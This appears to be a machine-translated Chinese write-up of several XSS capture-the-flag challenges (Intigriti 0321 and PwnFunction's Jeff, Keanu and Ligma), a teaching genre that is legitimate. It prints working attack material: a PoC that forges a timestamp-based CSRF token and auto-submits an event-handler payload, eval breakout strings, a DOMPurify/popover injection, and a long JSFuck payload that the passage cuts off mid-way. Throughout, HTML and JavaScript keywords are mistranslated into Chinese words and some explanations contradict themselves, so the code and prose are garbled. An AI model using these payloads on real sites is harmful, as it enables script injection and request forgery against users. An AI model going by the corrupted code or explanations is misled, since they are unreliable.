7.6 Intigriti XSS 系列挑战 Writeups(续)
目录
7.6 Intigriti XSS 挑战系列文章(续)
7.6.4 xss挑战0321
想法分析
POC
7.7 杰夫
切勿使用评估
7.8 基努
首先我们看一下可控点。
内容写在车牌上。
7.9 格玛
7.10 意大利面!
内部html
安全问题
7.6.4 xss challenge 0321
地址:https://challenge-0321.intigriti.io/,有以下要求:请使用最新版本的Firefox或Chrome浏览器
通过alert()弹出flag {THIS_IS_THE_FLAG}
利用该页面的xss漏洞
不允许Self-XSS 和MiTM 攻击
思路分析
查看网页源代码(view-source:https://challenge-0321.intigriti.io/)。无法访问:
然而,在快速测试网页功能后,我发现您可以在输入框中键入并保存注释。您的输入也会在HTML 页面上实时更新。 CSRF值:
contenteditable 属性允许用户直接在HTML 中修改元素的内容,请参阅HTML 标准。另外,经过多次的字符测试,发现网页有特殊的功能。例如,如果您输入并保存包含协议名称(例如ftp://attack.com 或http://attack.com)的特殊输入,则网页将生成特定的.标记。
这样,如果你创建一个可控标签并尝试构建一个闭包,你会发现网页过滤并截断了“ ”等特殊字符,无法构建为包含“ ”的整个payload。形成闭包的协议名称:
如果你改变POST数据中csrf注释的类型(添加[],这是我在问CTF问题时学到的一个想法),你可以看到一些有趣的信息。
这里可以看到注释输入是通过PHPhtmlspecialchars() 过滤的。现在,查询相关信息并进行字符集测试后,我们发现可以成功输入类似于电子邮件地址xss@attack.com的地址。您还可以自动添加网页。
根据RFC2822,我们知道电子邮件名称可以包含许多特殊字符。例如,“xss”@attack.com 仍将被识别为合法电子邮件地址,并且您可以控制标签中的内容。
构造payload实现自xss:输入type=\’hidden\’ name=\’csrf\’ value=\’f20927170100763667bf20d684f36515\’/: \’onclick=alert(1);\’@ Attack.com
.
.
!– page generated on 2021-04-21 13:43:41 — 题目不允许自我xss,所以得从绕过csrf的角度出发,实现无交互的xss。如果csrf 令牌不正确,您将看到403。
我们知道,CSRF 令牌通常是由时间戳的加密哈希或随机输入的加密哈希生成的。在这里,我们将声明页面的源代码,并重点关注所包含页面的生成时间。输入类型=\’隐藏\’名称=\’csrf\’值=\’f20927170100763667bf20d684f36515\’/
.
.
!– 页面生成于2021-04-21 13:43:41 — 经过测试,将日期转换为时间戳并进行MD5 加密,结果相同。这可以让您避免CSRF 限制。
接下来,我们需要能够进行MD5加密的JS。这可以从以下位置获得: # CryptoJS.MD5()
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/core.js
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/md5.js 检查时间戳,确保生成的csrf 令牌与网页自动生成匹配。攻击服务器时间戳与标题网页时间戳之间的错误:
可以看到两个时间戳之间存在8小时的时间差。通过调整,可以确保攻击服务器生成的csrf token与网页生成的token相匹配。
POC
基于以上思路,我们可以构建如下POC:html
头
标题xss/标题
/头
身体
!– 在页面上嵌入一个指向https://challenge-0321.intigriti.io/的iframe —
iframe src=\’https://challenge-0321.intigriti.io/\’ 宽度=\’1000\’ 高度=\’1000\’/iframe
! — 介绍用于计算时间戳MD5 哈希值的CryptoJS 库–
脚本src=\’https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/core.js\’/script
脚本src=\’https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/md5.js\’/script
!– 创建一个表单,将攻击所需的数据发送到https://challenge-0321.intigriti.io/–
表单方法=\’POST\’操作=\’https://challenge-0321.intigriti.io/\’id=\’发送\’
!– CSRF 令牌字段–
输入类型=\’隐藏\’名称=\’csrf\’id=\’csrf\’值=\’\’
!– 攻击payload,这里的payload字段就是插入XSS攻击代码的地方–
输入类型=\’隐藏\’id=\’有效负载\’名称=\’注释\’值=\’\’
/形状
脚本
//获取当前时间戳(毫秒级)
var ts0=Date.parse(new Date());
//将时间戳转为字符串并截取前10位(二级时间戳)
var ts1=string(ts0).substring(0,10);
//计算时间戳的MD5 哈希值
var passhash=CryptoJS.MD5(ts1).toString();
//将时间戳格式化为特定格式的日期和时间字符串
函数add0(m){返回m10?\’0\’+m:m}
函数格式(日期){
var 时间=新日期(日期);
var y=time.getFull Year();
var m=time.getMonth()+1;
var d=time.getDate();
var h=time.getHours()-8; //减去8 小时,可能是由于时区调整。
var mm=time.getMinutes();
var s=time.getSeconds();
dd=y+\’-\’+add0(m)+\’-\’+add0(d)+\’ \’+add0(h)+\’:\’+add0(mm)+\’:\’+add0(s);
返回dd。
}
//打印格式化的时间戳、原始时间戳、截获的时间戳和计算出的哈希值。
console.log(格式(ts0));
控制台.log(ts0);
控制台.log(ts1);
console.log(路径哈希);
//设置一个定时器,延迟100ms后运行XSS攻击函数xss()
setTimeout(xss, 100);
//XSS攻击函数,在表单中设置值并自动提交表单
函数xss(){
document.getElementById(\’csrf\’).value=passhash; //将计算出的哈希值分配给CSRF 字段。
//设置攻击负载。这里我们将插入一个包含XSS 代码的字符串。
document.getElementById(\’payload\’).value=\’\\\’onmouseover=alert(\’flag{THIS_IS_THE_FLAG}\’);\\\’@attack.com\’;
//提交表单来触发攻击
document.getElementById(\’发送\’).submit();
}
/剧本
/身体
/html
7.7 Jefff
难度级别很简单。在sandbox.pwnfunction.com 上弹出警报(1337)。没有用户交互。 https://sandbox.pwnfunction.com/?html=js=css=不可用。使用Chrome 进行测试。 h2 id=\’maname\’. /h2
脚本
让jeff=(新URL(位置).searchParams.get(\’jeff\’) || \’JEFFF\’)
让ma=\’\’
eval(`ma=\’名字${jeff}\’`)
设置超时(_={
maname.innerText=ma
}, 1000)
/script 直接分析上面的代码。和上一个游戏一样,我们仍然有jeff 参数,但这次我们有一个额外的eval 函数。这个功能起什么作用呢?请继续参考官方文档。 **eval()** 函数执行作为JavaScript 代码传递给它的字符串。 console.log(eval(\’2 + 2\’));
//预期输出: 4
console.log(eval(new String(\’2 + 2\’)));
//预期输出: 2 + 2
console.log(eval(\’2 + 2\’)===eval(\’4\’));
//预期输出: true
console.log(eval(\’2 + 2\’)===eval(new String(\’2 + 2\’)));
永远不要使用 eval
eval() 是一个危险函数。以与调用者相同的权限执行。代码。
如果用eval()执行的字符串代码被恶意者(恶意者)修改,
可以使用页面/扩展权限在用户计算机上执行恶意代码。
更重要的是,第三方代码可以在调用特定eval() 时检查作用域。
这也可能导致各种攻击。类似的功能不容易被攻击。函数looseJsonParse(obj){
返回eval(\'(\’ + obj + \’)\’);
}
console.log(looseJsonParse(
\'{a:(4-1), b:function(){}, c:new Date()}\’
))
函数looseJsonParse(obj){写得不好。
return Function(\’\’使用严格\’;return (\’ + obj + \’)\’)();
}
console.log(looseJsonParse(
\'{a:(4-1), b:function(){}, c:new Date()}\’
))
比较上面的两个代码片段,看起来它们的工作方式是相同的,但是再想一想。 eval 代码要慢得多。 c: 请注意,new Date() 位于执行主体中。在没有eval 的函数中,该对象用于全局范围内的计算,因此浏览器可以安全地假设Date 是从window.Date 获取的,而不是从名为Date 的局部变量获取的。 但是,在使用eval() 的代码中,浏览器无法假设这一点,因为该代码是以下function Date(n){。
return [\’星期一\’,\’星期二\’,\’星期三\’,\’星期四\’,\’星期五\’,\’星期六\’,\’星期日\’][n%7 || 0];
}
函数looseJsonParse(obj){
返回eval(\'(\’ + obj + \’)\’);
}
console.log(looseJsonParse(
\'{a:(4-1), b:function(){}, c:new Date()}\’
)) 因此,在代码的eval() 版本中,浏览器必须进行昂贵的搜索调用来查看是否存在名为Date() 的局部变量。 与Function() 相比,这是非常低效的。如果您处于类似的情况并且希望能够从Function() 内部的代码调用Date 函数怎么办?您应该逃跑并返回eval() 吗?绝对不应该这样做? 相反,请尝试以下方法。函数日期(n){
return [\’星期一\’,\’星期二\’,\’星期三\’,\’星期四\’,\’星期五\’,\’星期六\’,\’星期日\’][n%7 || 0];
}
函数runCodeWithDateFunction(obj){
return Function(\’\’使用严格\’;return (\’ + obj + \’)\’)()(
日期
);
}
console.log(runCodeWithDateFunction(
\’函数(日期){ 返回日期(5) }\’
)) 由于三重嵌套函数,上面的代码看起来效率很低,但让我们分析一下上述高效方法的好处。 1. 传递给runCodeWithDateFunction 的字符串中的代码较少。 2. 函数调用的开销非常低,从而导致代码大小和好处小得多。 3. Function() 使您可以更轻松地在代码中使用函数更改“use strict”。使用eval() 比其他方法更容易并且速度快几个数量级。最后,我们来看一下简化版。 如上所示使用Function() 可以让您更有效地缩小传递给runCodeWithDateFunction 的代码字符串,因为您还可以缩小函数的参数名称,如下面的缩小代码所示。 console.log(Function(\’\’使用严格\’;return(function(a){return a(5)})\’)()(function(a){
return \’周一周二周三周四周五周六周日\’.split(\’ \’)[a%7||0]}));
杰夫=1\’;警报(1);//
官方解决方案
杰夫=\’-警报(1)-\’
Node.js – 如果两边都是表达式,则可以运行代码
。
7.8 Keanu
首先,我们来分析一下代码——挑战——
number id=\’number\’ style=\’display:none\’/number !– 用于显示数字的隐藏数字元素–
div class=\’alert warning-primary\’ role=\’alert\’ id=\’welcome\’/div !– 显示欢迎消息的警报框–
按钮id=\’keanu\’ class=\’btn btn-primary btn-sm\’
数据切换=\’弹出框\’
数据内容=\’DM @PwnFunction\’
数据触发器=\’悬停\’
onclick=\’alert(`一旦解决,请私信@PwnFunction :)`)\’
你解决了吗?
/button !– 用于显示一条消息,指示挑战已解决并在鼠标悬停时显示弹出提示框的按钮–
脚本
/* 输入*/
//从URL 查询参数中获取号码(默认为“7”)和名称,并使用DOMPurify 进行安全处理
var number=(new URL(location).searchParams.get(\’number\’) || \’7\’)[0],
name=DOMPurify.sanitize(new URL(location).searchParams.get(\’name\’), { SAFE_FOR_JQUERY: true });
//将获取到的值显示在页面上
$(\’number#number\’).html(number);
//显示欢迎消息。如果未指定名称,则默认显示“Mr. Wick”。
$(\’#welcome\’).html(`欢迎b${name || \’威克先生\’}!/b`);
/* 问候*/
//页面加载后,按钮上方会出现弹出提示框
$(\’#keanu\’).popover(\’show\’);
//2秒后隐藏按钮上的popover提示框
设置超时(_={
$(\’#Keanu\’).popover(\’隐藏\’);
},2000);
/* 检查幻数*/
//生成一个随机幻数(从0 到9)。
var magicNumber=Math.floor(Math.random() * 10);
//从页面获取显示的数字并计算其值
var number=eval($(\’number#number\’).html());
//检查幻数是否等于页面显示的数字
if (magicNumber===数字) {
alert(\’你太棒了!\’); //如果相等,则弹出一条消息。
}
/剧本
本题引入了四个js文件:– DOMPurify(2.0.7) —
脚本src=\’https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.0.7/purify.min.js\’
完整性=\’sha256-iO9yO1Iy0P2hJNUeAvUQR2ielSsGJ4rOvK+EQUXxb6E=\’crossorigin=\’匿名\’/脚本
!– Jquery(3.4.1)、波普尔(1.16.0)、Bootstrap(4.4.1) —
脚本src=\’https://code.jquery.com/jquery-3.4.1.slim.min.js\’
完整性=\’sha384-J6qa4849blE2+poT4WnyKhv5vZF5SrPo0iEjwBvKU7imGFAV0wwj1yYfoRSJoZ+n\’
跨域=\’匿名\’/脚本
脚本src=\’https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js\’
完整性=\’sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo\’
跨域=\’匿名\’/脚本
脚本src=\’https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js\’
完整性=\’sha384-wfSDF2E50Y2D1uUdj0O3uMBJnjuUD4Ih7YwaYd1iqfktj0Uod8GCExl3Og8ifwB6\’
crossorigin=\’anonymous\’/script 这个问题也很有趣,添加了额外的js文件。这意味着这些文件可能需要用于此问题。 Purify.js 是一个XSS WAF,Popper.js 是用于构建提示的组件。我不会详细介绍Jqeury.js 和Bootstrap。
首先我们来看我们的可控点
一个是名称参数,另一个是数字参数。但是,数字参数和名称只能有一位数字。
参数虽然任意长度可控,但是要经过 XSS WAF 过滤。虽然之前有一些利用 mxss bypass Domprify 的事例,但是都是在 2.0 左右的版本,这里的 2.0.7 又是最新的版本,应该不会是什么新的绕过,否则 number 参数与最后的 eval($(“number#number”).html()); 就没用了,并且还有一些其他工具我们没有用上。所以我们应该能用到的就是通过最后一个eval($(“number#number”).html())进行 XSS ,而 number 我们可控的只有一位,我们可能得想一些其他办法添加 number 标签当中的内容。我们可以看到 popper document 结合题目给出的那个例子,我们可以发现貌似这个 popper.js 可以满足我们添加新内容条件,而在文档 options 部分,我们可以到有一些我们值得关注的参数:从文档知道,我们可以通过data-container来控制 popover 的位置,data-content来控制内容,于是我们是不是可以有一个想法把这个 popover 弄到 number 标签当中呢?于是我们可以尝试构造如下 payload : <button id=\”keanu\” data-toggle=\”popover\” data-container=\”#number\” data-content=\”hello\”> 利用题目中原有的$(“#keanu”).popover(“show”);来触发我们的 popover ,我们暂且先注释掉题目当中的延迟关闭的功能以便于我们观察。
7<div class=\”popover fade bs-popover-right show\” role=\”tooltip\” id=\”popover238474\” x-placement=\”right\” style=\”position: absolute;\”>
<div class=\”arrow\”></div><h3 class=\”popover-header\”>
</h3><div class=\”popover-body\”>hello</div>
</div>
number标签被写入内容
我们这样我们简化一下这个内容:7<template>hello</template>,我们可控的地方就是 7 与 hello ,<template>就是 popper.js 实现的 popover 功能的代码,这个我们不需要关注,所以这样问题就变成了如何在$str=”$1<template>$any</template>”;eval($str);当中执行代码的问题了。到这里其实答案已经呼之欲出了,既然是在eval当中,我们可以利用第一位为单引号,由于中间$any我们任意可控,后面再用一个单引号将<template>变成字符串,//注释掉后面的</template>即可,整个 payload 即是\'<tamplate>’;alert();//</tamplate>。所以我们需要这么构造一个元素: <button id=\”keanu\” data-toggle=\”popover\” data-container=\”#number\” data-content=\”\’;alert(1);//\”> 即可实现 XSS,所以 payload: number=\’&name=<button id%3D\”keanu\” data-toggle%3D\”popover\” data-container%3D\”%23number\” data-content%3D\”\’%3Balert(1)%3B%2F%2F\”>
7.9 Ligma
balls = (new URL(location).searchParams.get(\’balls\’) || \”Ninja has Ligma\”)
balls = balls.replace(/[A-Za-z0-9]/g, \’\’)
eval(balls) 代码非常简单,大A到大Z,小A到小Z,0-9不能使用,明显无法使用编码,那么我们如何去绕过此关呢?非常简单的一个绕过方式: jsfuck网站加密
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[+[]]])
以上内容为alert(1)
这样直接写,是否可以,仔细想想 这样无法被url解析,我们需要改为urlcode编码方式 %5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D((!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%2B%5B!%5B%5D%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B!%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(%2B(!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B!%2B%5B%5D%5D))%5B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%2B%5B%5D)%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%5B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B((%2B%5B%5D)%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%